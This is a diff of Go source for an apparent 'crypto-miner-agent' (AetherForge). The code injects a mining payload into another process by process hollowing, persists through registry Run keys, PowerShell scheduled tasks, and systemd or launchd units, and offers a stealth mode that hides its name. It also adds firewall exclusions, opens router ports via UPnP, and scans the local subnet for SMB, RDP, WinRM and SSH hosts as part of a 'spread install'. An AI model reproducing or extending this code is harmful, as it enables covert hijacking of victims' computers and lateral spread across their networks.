// 4. Unmap the original executable code from memory
|
||||
// 4. Unmap the original image.
|
||||
if origImageBase != 0 {
|
||||
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
||||
}
|
||||
|
||||
// 5. Allocate new memory for our payload at the required ImageBase
|
||||
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
|
||||
newMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
needsReloc := false
|
||||
if newMem == 0 {
|
||||
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
||||
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
newMem, _, lastErr = procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), 0, uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if newMem == 0 {
|
||||
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
||||
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
|
||||
}
|
||||
needsReloc = true
|
||||
}
|
||||
|
||||
// 6. Write the PE headers and each PE section into the new memory allocation
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 6. If we landed at a different base, patch absolute addresses in a local copy
|
||||
// before writing to the remote process. Without this the payload crashes on
|
||||
// every call through its import table and global data pointers.
|
||||
patched := payload
|
||||
if needsReloc {
|
||||
delta := int64(newMem) - int64(imageBase)
|
||||
patched = make([]byte, len(payload))
|
||||
copy(patched, payload)
|
||||
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
||||
// 7. Write PE headers and sections to the remote process.
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), newMem,
|
||||
uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||
patchedNT := patched[eLFANew:]
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
||||
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if sizeOfRawData > 0 {
|
||||
procWriteProcessMemory.Call(
|
||||
if rawSize > 0 {
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
||||
uintptr(sizeOfRawData),
|
||||
uintptr(unsafe.Pointer(&patched[rawOff])),
|
||||
uintptr(rawSize),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update the PEB with the new ImageBase
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&newMem)), 8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
// 7. Update the Thread Context to point to our payload's Entry Point
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
||||
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
// 9. Set the initial thread's Rcx to our entry point.
|
||||
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
|
||||
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("SetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
||||
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
||||
// 10. Resume the hollowed thread.
|
||||
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
|
||||
if ret == 0xFFFFFFFF {
|
||||
return fmt.Errorf("ResumeThread failed: %v", err)
|
||||
return fmt.Errorf("ResumeThread: %v", lastErr)
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
|
||||
func loadOrCreateAgentID(installDir string) (string, error) {
|
||||
if id, err := LoadAgentID(installDir); err == nil && id != "" {
|
||||
return id, nil
|
||||
}
|
||||
return EnsureAgentID(installDir)
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
|
||||
@@ -2,40 +2,31 @@ package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const runFlag = "--run"
|
||||
|
||||
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
||||
// and relaunches the miner from there. Returns true when the current process should exit.
|
||||
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isRunMode() {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
currentExe, err := CurrentExecutable()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
if samePath(currentExe, installedBin) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return false, fmt.Errorf("create install dir: %w", err)
|
||||
}
|
||||
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
if err := copyFile(currentExe, installedBin); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
_ = saveBackup(installedBin)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
agentID, err := loadOrCreateAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
writeInstalledMarker(cfg, installDir, installedBin, agentID)
|
||||
|
||||
if wantsSpreadInstall() {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
|
||||
if err := relaunch(installedExe, logPath); err != nil {
|
||||
if err := relaunch(installedBin, logPath); err != nil {
|
||||
return false, fmt.Errorf("start installed miner: %w", err)
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
|
||||
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isLocalhostURL(cfg.ServerURL) {
|
||||
LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
ok, err := InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
LogSpreadError("spread-install", err)
|
||||
return ok, err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
if ok {
|
||||
LogSpreadInfo("spread-install complete — worker relaunched from install dir")
|
||||
}
|
||||
return ok, err
|
||||
}
|
||||
|
||||
343
agent/deploy/natpunch.go
Normal file
343
agent/deploy/natpunch.go
Normal file
@@ -0,0 +1,343 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const ssdpAddr = "239.255.255.250:1900"
|
||||
|
||||
// NATPunchResult reports a UPnP port mapping attempt.
|
||||
type NATPunchResult struct {
|
||||
Success bool
|
||||
ExternalIP string
|
||||
ExternalPort int
|
||||
InternalPort int
|
||||
Method string
|
||||
Message string
|
||||
}
|
||||
|
||||
var (
|
||||
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
|
||||
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
|
||||
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
|
||||
)
|
||||
|
||||
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
|
||||
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
|
||||
if internalPort <= 0 {
|
||||
internalPort = 8989
|
||||
}
|
||||
if externalPort <= 0 {
|
||||
externalPort = internalPort
|
||||
}
|
||||
if description == "" {
|
||||
description = "AetherForge"
|
||||
}
|
||||
|
||||
location, err := discoverIGDLocation(4 * time.Second)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
extIP, err := upnpGetExternalIP(controlURL)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
|
||||
}
|
||||
|
||||
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
|
||||
return NATPunchResult{
|
||||
Method: "upnp",
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Message: err.Error(),
|
||||
}, err
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
|
||||
return NATPunchResult{
|
||||
Success: true,
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Method: "upnp",
|
||||
Message: msg,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// CloseUPnP removes a UPnP port mapping.
|
||||
func CloseUPnP(externalPort int) (string, error) {
|
||||
if externalPort <= 0 {
|
||||
return "", fmt.Errorf("external port required")
|
||||
}
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
|
||||
}
|
||||
|
||||
// GetPublicEndpoint returns WAN IP via UPnP when available.
|
||||
func GetPublicEndpoint() (string, error) {
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return upnpGetExternalIP(controlURL)
|
||||
}
|
||||
|
||||
func discoverIGDLocation(timeout time.Duration) (string, error) {
|
||||
conn, err := net.ListenPacket("udp4", ":0")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
|
||||
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
|
||||
"HOST: 239.255.255.250:1900\r\n" +
|
||||
"MAN: \"ssdp:discover\"\r\n" +
|
||||
"MX: 2\r\n" +
|
||||
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
|
||||
"\r\n")
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.WriteTo(search, target); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, _, err := conn.ReadFrom(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
body := string(buf[:n])
|
||||
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
|
||||
return strings.TrimSpace(m[1]), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
|
||||
}
|
||||
|
||||
func resolveWANControlURL(deviceLocation string) (string, error) {
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(deviceLocation)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
text := string(body)
|
||||
if !reService.MatchString(text) {
|
||||
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
|
||||
}
|
||||
m := reControl.FindStringSubmatch(text)
|
||||
if len(m) != 2 {
|
||||
return "", fmt.Errorf("UPnP controlURL not found")
|
||||
}
|
||||
controlPath := strings.TrimSpace(m[1])
|
||||
base := deviceLocation
|
||||
if idx := strings.Index(base, "://"); idx >= 0 {
|
||||
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
|
||||
base = base[:idx+3+slash]
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(controlPath, "http") {
|
||||
return controlPath, nil
|
||||
}
|
||||
if !strings.HasPrefix(controlPath, "/") {
|
||||
controlPath = "/" + controlPath
|
||||
}
|
||||
return base + controlPath, nil
|
||||
}
|
||||
|
||||
func upnpGetExternalIP(controlURL string) (string, error) {
|
||||
body := `<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
|
||||
</s:Body>
|
||||
</s:Envelope>`
|
||||
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
type envelope struct {
|
||||
Body struct {
|
||||
Response struct {
|
||||
IP string `xml:"NewExternalIPAddress"`
|
||||
} `xml:"GetExternalIPAddressResponse"`
|
||||
} `xml:"Body"`
|
||||
}
|
||||
var env envelope
|
||||
if err := xml.Unmarshal(resp, &env); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ip := strings.TrimSpace(env.Body.Response.IP)
|
||||
if ip == "" {
|
||||
return "", fmt.Errorf("empty external IP from router")
|
||||
}
|
||||
return ip, nil
|
||||
}
|
||||
|
||||
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
|
||||
localIP, err := primaryLocalIPv4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
<NewInternalPort>%d</NewInternalPort>
|
||||
<NewInternalClient>%s</NewInternalClient>
|
||||
<NewEnabled>1</NewEnabled>
|
||||
<NewPortMappingDescription>%s</NewPortMappingDescription>
|
||||
<NewLeaseDuration>0</NewLeaseDuration>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
|
||||
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpDeletePortMapping(controlURL string, externalPort int) error {
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
</u:DeletePortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort)
|
||||
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
|
||||
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
|
||||
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
|
||||
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func primaryLocalIPv4() (string, error) {
|
||||
conn, err := net.Dial("udp4", "8.8.8.8:80")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
addr := conn.LocalAddr().(*net.UDPAddr)
|
||||
return addr.IP.String(), nil
|
||||
}
|
||||
|
||||
func xmlEscape(s string) string {
|
||||
s = strings.ReplaceAll(s, "&", "&")
|
||||
s = strings.ReplaceAll(s, "<", "<")
|
||||
s = strings.ReplaceAll(s, ">", ">")
|
||||
return s
|
||||
}
|
||||
|
||||
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||
func ScanLocalSubnet(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
if len(ips) == 0 {
|
||||
return "no local IPv4 interfaces found"
|
||||
}
|
||||
var b strings.Builder
|
||||
seen := 0
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
||||
for i := 1; i < 255 && seen < maxHosts; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
open := probePorts(target, []int{445, 3389, 5985, 22})
|
||||
if len(open) > 0 {
|
||||
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
|
||||
seen++
|
||||
}
|
||||
}
|
||||
}
|
||||
if seen == 0 {
|
||||
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func probePorts(host string, ports []int) []int {
|
||||
var open []int
|
||||
for _, p := range ports {
|
||||
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
open = append(open, p)
|
||||
}
|
||||
}
|
||||
return open
|
||||
}
|
||||
|
||||
func intSliceStr(v []int) []string {
|
||||
out := make([]string, len(v))
|
||||
for i, n := range v {
|
||||
out[i] = strconv.Itoa(n)
|
||||
}
|
||||
return out
|
||||
}
|
||||
144
agent/deploy/platform_unix.go
Normal file
144
agent/deploy/platform_unix.go
Normal file
@@ -0,0 +1,144 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
return configureLaunchAgent(cfg, binPath)
|
||||
default:
|
||||
return configureSystemdUser(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
return configureAutoStart(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
|
||||
unitName := PersistenceKeyName(cfg) + ".service"
|
||||
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||
if err := os.MkdirAll(unitDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
unitPath := filepath.Join(unitDir, unitName)
|
||||
content := fmt.Sprintf(`[Unit]
|
||||
Description=AetherForge Worker %s
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s %s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`, cfg.WorkerName, binPath, runFlag)
|
||||
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
|
||||
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
|
||||
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
||||
